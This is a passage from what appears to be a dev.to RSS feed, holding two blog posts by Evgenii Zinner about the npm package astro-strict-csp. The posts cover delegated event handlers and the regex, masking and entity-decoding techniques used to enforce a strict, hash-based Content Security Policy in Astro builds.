&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;click&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;evt&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;evt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;el&lt;/span&gt; &lt;span class="k"&gt;of &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;composedPath&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;composedPath&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[]))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getAttribute&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;data-csp-on-&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;evt&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;HANDLERS&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
          &lt;span class="c1"&gt;// Mirrors native inline event semantics:&lt;/span&gt;
          &lt;span class="c1"&gt;// 1. `this` is bound to the element via .call(el, e)&lt;/span&gt;
          &lt;span class="c1"&gt;// 2. `event` is passed as the parameter&lt;/span&gt;
          &lt;span class="c1"&gt;// 3. `return false` prevents default browser action&lt;/span&gt;
          &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;HANDLERS&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;preventDefault&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
          &lt;span class="p"&gt;}&lt;/span&gt;
          &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;capture&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  3. The &lt;code&gt;{ capture: true }&lt;/code&gt; Trick for Non-Bubbling Events
&lt;/h3&gt;

&lt;p&gt;Most naive event delegation scripts attach a normal bubbling listener to &lt;code&gt;document&lt;/code&gt; and check &lt;code&gt;e.target&lt;/code&gt;. That works fine for &lt;code&gt;click&lt;/code&gt; or &lt;code&gt;keydown&lt;/code&gt;, but it fails completely on &lt;strong&gt;non-bubbling events&lt;/strong&gt; like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;focus&lt;/code&gt; and &lt;code&gt;blur&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;mouseenter&lt;/code&gt; and &lt;code&gt;mouseleave&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;load&lt;/code&gt; and &lt;code&gt;error&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;scroll&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Because those events do not bubble up the DOM tree, a normal listener on &lt;code&gt;document&lt;/code&gt; never hears them.&lt;/p&gt;

&lt;p&gt;However, per the W3C UI Events specification, &lt;strong&gt;even non-bubbling events still travel down the DOM tree during the Capture Phase&lt;/strong&gt; before reaching their target. By registering the root listener with &lt;code&gt;{ capture: true }&lt;/code&gt; and walking &lt;code&gt;e.composedPath()&lt;/code&gt;, our single delegated listener cleanly intercepts &lt;code&gt;onfocus&lt;/code&gt;, &lt;code&gt;onblur&lt;/code&gt;, and &lt;code&gt;onmouseenter&lt;/code&gt; attributes across the entire document—including inside open Shadow DOM trees.&lt;/p&gt;

&lt;p&gt;And just like the CSS extractor in v0.1.0:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Global Deduplication:&lt;/strong&gt; If 50 buttons across 20 pages use &lt;code&gt;onclick="window.print()"&lt;/code&gt;, the handler is hashed and emitted only once in &lt;code&gt;HANDLERS&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Region Masking:&lt;/strong&gt; Code blocks (&lt;code&gt;&amp;lt;code&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;pre&amp;gt;&lt;/code&gt;), &lt;code&gt;&amp;lt;textarea&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; strings, and HTML comments are masked prior to extraction, so tutorials discussing &lt;code&gt;onclick="..."&lt;/code&gt; are never mutated.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Zero Dependencies:&lt;/strong&gt; Still 0 external npm dependencies—pure native Node and Web APIs.&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  4. Ditching Custom CI Scripts for Google's &lt;code&gt;release-please&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Alongside the v0.2.0 feature work, I cleaned up the repository's release pipeline.&lt;/p&gt;

&lt;p&gt;Previously, I used custom GitHub Actions workflows to handle version bumps and npm publishing. Custom release scripts always end up brittle—you forget to update &lt;code&gt;CHANGELOG.md&lt;/code&gt;, mismatch a git tag, or fight token permissions.&lt;/p&gt;

&lt;p&gt;I replaced the custom CI logic with Google's &lt;a href="https://github.com/googleapis/release-please" rel="noopener noreferrer"&gt;release-please&lt;/a&gt;. Now, because the repo already follows strict &lt;strong&gt;Conventional Commits&lt;/strong&gt; (&lt;code&gt;feat:&lt;/code&gt;, &lt;code&gt;fix:&lt;/code&gt;, &lt;code&gt;perf:&lt;/code&gt;), &lt;code&gt;release-please&lt;/code&gt; automatically maintains a living Release PR. Every time a commit lands on &lt;code&gt;main&lt;/code&gt;, it updates the semantic version and compiles a categorized changelog. Merging that PR automatically tags the release and publishes the new tarball to npm with zero manual steps.&lt;/p&gt;




&lt;h3&gt;
  
  
  Try It Out
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install &lt;/span&gt;astro-strict-csp@latest
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Links:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;npm:&lt;/strong&gt; &lt;a href="https://www.npmjs.com/package/astro-strict-csp" rel="noopener noreferrer"&gt;npmjs.com/package/astro-strict-csp&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;GitHub:&lt;/strong&gt; &lt;a href="https://github.com/Evgenii-Zinner/astro-strict-csp" rel="noopener noreferrer"&gt;github.com/Evgenii-Zinner/astro-strict-csp&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you hit an edge case with a weird inline handler or want to request a feature, drop a bug report or feature request in the &lt;a href="https://github.com/Evgenii-Zinner/astro-strict-csp/issues" rel="noopener noreferrer"&gt;GitHub Issues&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>astro</category>
      <category>security</category>
      <category>opensource</category>
    </item>
    <item>
      <title>Enforcing Strict CSP in Astro Without 'unsafe-inline'</title>
      <dc:creator>Evgenii Zinner</dc:creator>
      <pubDate>Sun, 18 Oct 2026 00:07:06 +0000</pubDate>
      <link>https://dev.to/evgenii_zinner/enforcing-strict-csp-in-astro-without-unsafe-inline-4518</link>
      <guid>https://dev.to/evgenii_zinner/enforcing-strict-csp-in-astro-without-unsafe-inline-4518</guid>
      <description>&lt;p&gt;I am not particularly paranoid about web security. For a static blog or a small product site, nobody is running nation-state zero-days against your markdown pages. But if a known vulnerability vector like &lt;code&gt;unsafe-inline&lt;/code&gt; exists—and closing it is a solved engineering problem—it is much better to lock it down once than deal with a preventable XSS headache down the road.&lt;/p&gt;

&lt;p&gt;I originally built a strict Content Security Policy (CSP) pipeline for my Hono-based site. Later, when I started spinning up projects in Astro, I hit the exact same wall and found myself hardcoding the same build-time extraction scripts all over again. &lt;/p&gt;

&lt;p&gt;Rather than copy-pasting that boilerplate into every subproject, I packaged the pipeline and published it on npm as &lt;a href="https://www.npmjs.com/package/astro-strict-csp" rel="noopener noreferrer"&gt;astro-strict-csp&lt;/a&gt;. &lt;/p&gt;

&lt;p&gt;The goal wasn't to chase vanity A+ badges on Mozilla HTTP Observatory or Google CSP Evaluator—though it gets them automatically. The goal was to have a drop-in, zero-dependency Astro security integration (&lt;code&gt;astro-csp&lt;/code&gt;) that enforces a strict, hash-based Content Security Policy and Subresource Integrity (SRI) without breaking Astro's built-in features.&lt;/p&gt;

&lt;p&gt;Here is the technical breakdown of why Astro fights strict CSP out of the box, and the parser traps I had to solve to make the build pipeline reliable.&lt;/p&gt;




&lt;h3&gt;
  
  
  1. The Core Problem: Astro's &lt;code&gt;'unsafe-inline'&lt;/code&gt; Tax
&lt;/h3&gt;

&lt;p&gt;Astro generates fast static HTML, but trying to deploy an Astro site with a strict Content Security Policy (&lt;code&gt;style-src 'self'&lt;/code&gt;, &lt;code&gt;script-src 'self'&lt;/code&gt;) breaks your site immediately. &lt;/p&gt;

&lt;p&gt;Out of the box, Astro relies heavily on inline code:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Shiki Syntax Highlighting:&lt;/strong&gt; Injects thousands of raw &lt;code&gt;style="color: #..."&lt;/code&gt; attributes directly onto &lt;code&gt;&amp;lt;span&amp;gt;&lt;/code&gt; tags inside code blocks.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;&amp;lt;Image /&amp;gt;&lt;/code&gt; Components:&lt;/strong&gt; Outputs inline &lt;code&gt;style&lt;/code&gt; attributes for aspect-ratio and layout dimensions.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Dark Mode &amp;amp; Theme Toggles:&lt;/strong&gt; Requires synchronous inline &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags inside &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; to check &lt;code&gt;localStorage&lt;/code&gt; before the first paint.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When developers try to lock down &lt;code&gt;astro security&lt;/code&gt;, they usually face an ugly choice: either spend days manually wiring up fragile script hashes, or surrender and add &lt;code&gt;'unsafe-inline'&lt;/code&gt; to their CSP headers—which effectively disables XSS protection.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;astro-strict-csp&lt;/code&gt; hooks into &lt;code&gt;astro:build:done&lt;/code&gt; and fixes this automatically at build time: it extracts every inline style and script into external hashed assets, rewrites the HTML references, computes SHA-384 Subresource Integrity (&lt;code&gt;integrity="sha384-..."&lt;/code&gt;) hashes, and generates both HTML &lt;code&gt;&amp;lt;meta&amp;gt;&lt;/code&gt; policies and Cloudflare/Netlify &lt;code&gt;_headers&lt;/code&gt;.&lt;/p&gt;




&lt;h3&gt;
  
  
  2. Zero Runtime Dependencies (0 kB npm Bloat)
&lt;/h3&gt;

&lt;p&gt;When building an HTML post-processor in Node, the default instinct is to &lt;code&gt;npm install jsdom&lt;/code&gt; or &lt;code&gt;cheerio&lt;/code&gt;. I refused to do that.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;No Dependency Bloat:&lt;/strong&gt; &lt;code&gt;jsdom&lt;/code&gt; pulls in roughly 50 transitive dependencies and megabytes of dead weight. &lt;code&gt;astro-strict-csp&lt;/code&gt; has &lt;strong&gt;zero dependencies&lt;/strong&gt; in &lt;code&gt;package.json&lt;/code&gt;, keeping the entire package footprint at 63 kB using only native &lt;code&gt;node:crypto&lt;/code&gt;, &lt;code&gt;node:fs&lt;/code&gt;, &lt;code&gt;node:path&lt;/code&gt;, and &lt;code&gt;node:url&lt;/code&gt; APIs.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Zero Serialization Side Effects:&lt;/strong&gt; Full DOM parsers parse HTML into an abstract syntax tree and re-serialize the entire document back to a string. During re-serialization, parsers frequently mutate doctypes, strip custom element namespaces, or corrupt self-closing SVG attributes. By operating only on targeted spans of the raw string, untouched HTML bytes remain 100% identical to Astro's compiler output.&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  3. Deep Dive: Regex Traps &amp;amp; Pre-Pass Region Masking
&lt;/h3&gt;

&lt;p&gt;Everyone knows the classic StackOverflow warning against parsing HTML with regular expressions. If you write naive regexes against production HTML, you &lt;em&gt;will&lt;/em&gt; corrupt the document. To make a zero-dependency extractor rock-solid, I had to engineer around three specific parser traps:&lt;/p&gt;

&lt;h4&gt;
  
  
  Trap A: The &lt;code&gt;&amp;gt;&lt;/code&gt; Character Inside Attribute Values
&lt;/h4&gt;

&lt;p&gt;A naive tag matcher like &lt;code&gt;/&amp;lt;([\w\-:]+)([^&amp;gt;]*?)&amp;gt;/gi&lt;/code&gt; breaks the moment an HTML attribute legitimately contains a greater-than symbol:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;nav&lt;/span&gt; &lt;span class="na"&gt;aria-label=&lt;/span&gt;&lt;span class="s"&gt;"Home &amp;gt; Blog &amp;gt; Security"&lt;/span&gt; &lt;span class="na"&gt;style=&lt;/span&gt;&lt;span class="s"&gt;"margin: 0;"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A standard regex sees the &lt;code&gt;&amp;gt;&lt;/code&gt; after &lt;code&gt;Home&lt;/code&gt; as the closing bracket of the &lt;code&gt;&amp;lt;nav&amp;gt;&lt;/code&gt; tag, truncating the element and leaving raw attribute text dangling in the DOM. &lt;/p&gt;

&lt;p&gt;The fix is a quote-aware tag matcher (&lt;code&gt;TAG_RE&lt;/code&gt;) that treats double-quoted (&lt;code&gt;"[^"]*"&lt;/code&gt;) and single-quoted (&lt;code&gt;'[^']*'&lt;/code&gt;) strings as atomic blocks before checking for the closing &lt;code&gt;&amp;gt;&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;TAG_RE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sr"&gt;/&amp;lt;&lt;/span&gt;&lt;span class="se"&gt;([\w\-&lt;/span&gt;&lt;span class="sr"&gt;:&lt;/span&gt;&lt;span class="se"&gt;]&lt;/span&gt;&lt;span class="sr"&gt;+&lt;/span&gt;&lt;span class="se"&gt;)(\s&lt;/span&gt;&lt;span class="sr"&gt;+&lt;/span&gt;&lt;span class="se"&gt;(?:[^&lt;/span&gt;&lt;span class="sr"&gt;&amp;gt;"'&lt;/span&gt;&lt;span class="se"&gt;/]&lt;/span&gt;&lt;span class="sr"&gt;+|"&lt;/span&gt;&lt;span class="se"&gt;[^&lt;/span&gt;&lt;span class="sr"&gt;"&lt;/span&gt;&lt;span class="se"&gt;]&lt;/span&gt;&lt;span class="sr"&gt;*"|'&lt;/span&gt;&lt;span class="se"&gt;[^&lt;/span&gt;&lt;span class="sr"&gt;'&lt;/span&gt;&lt;span class="se"&gt;]&lt;/span&gt;&lt;span class="sr"&gt;*'|&lt;/span&gt;&lt;span class="se"&gt;\/(?!&lt;/span&gt;&lt;span class="sr"&gt;&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;))&lt;/span&gt;&lt;span class="sr"&gt;*&lt;/span&gt;&lt;span class="se"&gt;?)(\s&lt;/span&gt;&lt;span class="sr"&gt;*&lt;/span&gt;&lt;span class="se"&gt;\/?)&lt;/span&gt;&lt;span class="sr"&gt;&amp;gt;/gi&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Trap B: The Hyphen Word-Boundary Flaw
&lt;/h4&gt;

&lt;p&gt;In JavaScript regular expressions, &lt;code&gt;\b&lt;/code&gt; treats the hyphen (&lt;code&gt;-&lt;/code&gt;) as a non-word character. If you search for &lt;code&gt;\bstyle=&lt;/code&gt; or &lt;code&gt;\bsrc=&lt;/code&gt;, your regex will falsely match custom data attributes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;data-style=&lt;/span&gt;&lt;span class="s"&gt;"card"&lt;/span&gt; &lt;span class="na"&gt;data-src=&lt;/span&gt;&lt;span class="s"&gt;"/avatar.png"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To prevent the extractor from stripping &lt;code&gt;data-style&lt;/code&gt; or &lt;code&gt;v-bind:style&lt;/code&gt;, the matcher enforces strict negative lookbehinds for word characters, hyphens, and colons:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;STYLE_ATTR_RE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="se"&gt;(?&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;!&lt;/span&gt;&lt;span class="se"&gt;[\w\-&lt;/span&gt;&lt;span class="sr"&gt;:&lt;/span&gt;&lt;span class="se"&gt;])&lt;/span&gt;&lt;span class="sr"&gt;style=&lt;/span&gt;&lt;span class="se"&gt;(?:&lt;/span&gt;&lt;span class="sr"&gt;"&lt;/span&gt;&lt;span class="se"&gt;((?:[^&lt;/span&gt;&lt;span class="sr"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\\]&lt;/span&gt;&lt;span class="sr"&gt;|&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="sr"&gt;.&lt;/span&gt;&lt;span class="se"&gt;)&lt;/span&gt;&lt;span class="sr"&gt;*&lt;/span&gt;&lt;span class="se"&gt;)&lt;/span&gt;&lt;span class="sr"&gt;"|'&lt;/span&gt;&lt;span class="se"&gt;((?:[^&lt;/span&gt;&lt;span class="sr"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\\]&lt;/span&gt;&lt;span class="sr"&gt;|&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="sr"&gt;.&lt;/span&gt;&lt;span class="se"&gt;)&lt;/span&gt;&lt;span class="sr"&gt;*&lt;/span&gt;&lt;span class="se"&gt;)&lt;/span&gt;&lt;span class="sr"&gt;'&lt;/span&gt;&lt;span class="se"&gt;)&lt;/span&gt;&lt;span class="sr"&gt;/i&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Trap C: Mutating Code Blocks and Comments
&lt;/h4&gt;

&lt;p&gt;If you write a technical blog post about HTML (like this one) that includes literal &lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt; or &lt;code&gt;style="color: red"&lt;/code&gt; inside a &lt;code&gt;&amp;lt;code&amp;gt;&lt;/code&gt; block or HTML comment, a global regex pass will extract and rewrite the example code inside your article.&lt;/p&gt;

&lt;p&gt;Before running any extraction pass, &lt;code&gt;maskHtmlRegions&lt;/code&gt; sweeps the document and replaces all HTML comments, CDATA sections, &lt;code&gt;&amp;lt;textarea&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;pre&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;code&amp;gt;&lt;/code&gt;, and &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; bodies with inert placeholder tokens (&lt;code&gt;&amp;lt;!--__CSP_MASK_0__--&amp;gt;&lt;/code&gt;). Once style extraction finishes on the safe structural HTML, the masked regions are restored in a single swap.&lt;/p&gt;




&lt;h3&gt;
  
  
  4. The Browser Quirk: HTML Entity Decoding in CSS
&lt;/h3&gt;

&lt;p&gt;One of the subtlest bugs happened with inline &lt;code&gt;font-family&lt;/code&gt; declarations generated by Markdown tools:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;style=&lt;/span&gt;&lt;span class="s"&gt;"font-family: &amp;amp;quot;Fira Code&amp;amp;quot;, monospace;"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When a browser parses an inline &lt;code&gt;style&lt;/code&gt; attribute in HTML, the &lt;strong&gt;HTML parser&lt;/strong&gt; runs first, decoding &lt;code&gt;&amp;amp;quot;&lt;/code&gt; into a literal &lt;code&gt;"&lt;/code&gt; character before passing the string to the CSS engine.&lt;/p&gt;

&lt;p&gt;However, if a build tool extracts that raw string and writes it directly into an external &lt;code&gt;.css&lt;/code&gt; stylesheet:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight css"&gt;&lt;code&gt;&lt;span class="c"&gt;/* INVALID CSS - Breaks font rendering */&lt;/span&gt;
&lt;span class="nc"&gt;.is-a1b2c3&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nl"&gt;font-family&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="err"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;quot&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="err"&gt;Fira&lt;/span&gt; &lt;span class="err"&gt;Code&amp;amp;quot;,&lt;/span&gt; &lt;span class="err"&gt;monospace;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The browser’s &lt;strong&gt;CSS parser&lt;/strong&gt; does not understand HTML entities. It sees &lt;code&gt;&amp;amp;quot;&lt;/code&gt; as a syntax error and silently drops the entire rule. &lt;code&gt;astro-strict-csp&lt;/code&gt; runs a dedicated entity decoding pass (&lt;code&gt;decodeHtmlEntities&lt;/code&gt;) to normalize &lt;code&gt;&amp;amp;quot;&lt;/code&gt;, &lt;code&gt;&amp;amp;#39;&lt;/code&gt;, &lt;code&gt;&amp;amp;apos;&lt;/code&gt;, and &lt;code&gt;&amp;amp;amp;&lt;/code&gt; into valid CSS syntax prior to hashing and emission.&lt;/p&gt;




&lt;h3&gt;
  
  
  5. Atomic MD5 Hashing &amp;amp; Cross-Page Deduplication
&lt;/h3&gt;

&lt;p&gt;A 100-page documentation site using Shiki syntax highlighting can easily have 50,000+ inline &lt;code&gt;style="color: #..."&lt;/code&gt; spans. If you generate a unique CSS class for every element instance, you end up with a multi-megabyte stylesheet.&lt;/p&gt;

&lt;p&gt;Instead, &lt;code&gt;astro-strict-csp&lt;/code&gt; normalizes declarations (&lt;code&gt;color: #ff0000; font-weight: bold&lt;/code&gt;) and hashes the normalized string into a compact 6-character MD5 utility class (&lt;code&gt;.is-7f3b1a&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;A single &lt;code&gt;Map&amp;lt;string, string&amp;gt;&lt;/code&gt; persists across the entire Astro build:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Every identical color token across all 100 pages maps to the exact same &lt;code&gt;.is-7f3b1a&lt;/code&gt; class.&lt;/li&gt;
&lt;li&gt;50,000 inline style attributes collapse into ~150 unique utility rules inside a single &lt;strong&gt;3 kB&lt;/strong&gt; stylesheet (&lt;code&gt;/_astro/inline-styles.css&lt;/code&gt;), linked once in &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  6. Preserving Synchronous Script Semantics (Preventing FOUC)
&lt;/h3&gt;

&lt;p&gt;A common mistake in CSP extraction plugins is converting every inline &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; into &lt;code&gt;&amp;lt;script type="module" src="..."&amp;gt;&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;In modern browsers, &lt;code&gt;type="module"&lt;/code&gt; scripts are &lt;strong&gt;deferred by default&lt;/strong&gt;—they wait until the HTML document is fully parsed before executing. If your &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; contains a synchronous theme script that reads &lt;code&gt;localStorage.getItem('theme')&lt;/code&gt; to apply a &lt;code&gt;.dark&lt;/code&gt; class before the first paint, turning it into an ES module causes a blinding white Flash of Unstyled Content (FOUC) on every page navigation.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;astro-strict-csp&lt;/code&gt; inspects the original tag attributes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Synchronous classic scripts stay synchronous (&lt;code&gt;&amp;lt;script src="/_astro/inline-4b9f2a.js"&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt; with no &lt;code&gt;type="module"&lt;/code&gt; or &lt;code&gt;defer&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Only scripts that originally declared &lt;code&gt;type="module"&lt;/code&gt; are emitted as module scripts.&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  7. Single-Pass In-Memory I/O
&lt;/h3&gt;

&lt;p&gt;Running multiple build plugins that each read HTML files from disk, parse them, and write them back to disk creates severe I/O bottlenecks on large static sites.&lt;/p&gt;

&lt;p&gt;During &lt;code&gt;astro:build:done&lt;/code&gt;, &lt;code&gt;astro-strict-csp&lt;/code&gt; reads all generated HTML files into an in-memory &lt;code&gt;pageMap&lt;/code&gt; once. All four pipeline phases mutate the strings in memory:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Phase 1:&lt;/strong&gt; Inline style extraction &amp;amp; cross-page class deduplication.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Phase 2:&lt;/strong&gt; Inline script externalization.&lt;/li&gt;
&lt;li&gt;
